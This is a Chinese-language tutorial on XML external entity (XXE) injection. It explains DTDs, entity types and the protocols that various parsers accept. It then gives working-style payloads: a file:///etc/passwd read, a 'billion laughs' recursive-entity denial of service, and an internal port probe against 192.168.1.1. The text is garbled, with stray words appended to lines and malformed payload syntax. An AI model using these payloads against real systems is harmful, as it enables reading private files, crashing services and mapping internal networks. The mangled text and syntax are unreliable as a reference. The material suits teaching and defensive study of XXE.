xxe(xml外部實體注入)

XXE(xml外部實體注入漏洞)

xml實體分爲4種,分別是內部實體、參數實體、預約義實體和外部實體php

內部實體:

在 DTD 或內部子集(即文檔中 <!DOCTYPE> 語句的一部分)中聲明,在文檔中用做引用。在 XML 文檔解析過程當中,實體引用將由它的表示替代。java

預約義實體:
實體 描述
&quot; 雙引號
&apos; 單引號
&lt; 小於,即<
&gt; 大於,即>
&amp; &

DTD(文檔類型定義)的做用是定義 XML 文檔的合法構建模塊。DTD 能夠在 XML 文檔內聲明,也能夠外部引用。網站

內部聲明DTD編碼

<!DOCTYPE 根元素 [元素聲明]>.net

引用外部DTDcode

<!DOCTYPE 根元素 SYSTEM "文件名">xml

或者遞歸

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">ip

DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,能夠內部聲明或外部引用。內部聲明實體utf-8

<!ENTITY 實體名稱 "實體的值">

參數實體

參數實體只用於 DTD 和文檔的內部子集中,XML的規範定義中,只有在DTD中才能引用參數實體. 參數實體的聲明和引用都是以百分號%。而且參數實體的引用在DTD是理解解析的,替換文本將變成DTD的一部分。該類型的實體用「%」字符(或十六進制編碼的%)聲明,而且僅在通過解析和驗證後才用於替換DTD中的文本或其餘內容:

引用外部實體

<!ENTITY 實體名稱 SYSTEM "URI">其中SYSTEM關鍵字就是外部實體的標記、外部實體接受本地文件、http、file等協議形式的內容

libxml2 php java .net
file
http
ftp
file
http
ftp
php
compress.zlib
compress.bzip2
datag1obphar
http
https
ftp
file
jar
netdoc
mailto
gopher *
file
http
https
ftp

xxe攻擊方式有基於回顯、基於報錯和blind xxe
危害:當容許引用外部實體時,經過構造惡意內容,可致使讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

<!-- 任意文件讀取 -->
<? xml version="1.0"encoding="utf-8"?>
<!DOCTYPE rohit[
<! ENTITY abc SYSTEM "file:///etc/passwd">
]>
<abc>&abc;</abc>
<!--xml遞歸調用形成拒絕服務攻擊-->
<?xml version="1.0"?>

<!DOCTYPE lolz [

<!ENTITY lol "lol">

<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>

<lolz>&lol9;</lolz>
<!--探測內網端口-->
<? xmL version="1.0"?>
<! DOCTYPE ANY[
<! ENTITY xxe SYSTEM "http://192.168.1.1:81">
<x>&xxe;</x>
相關文章
相關標籤/搜索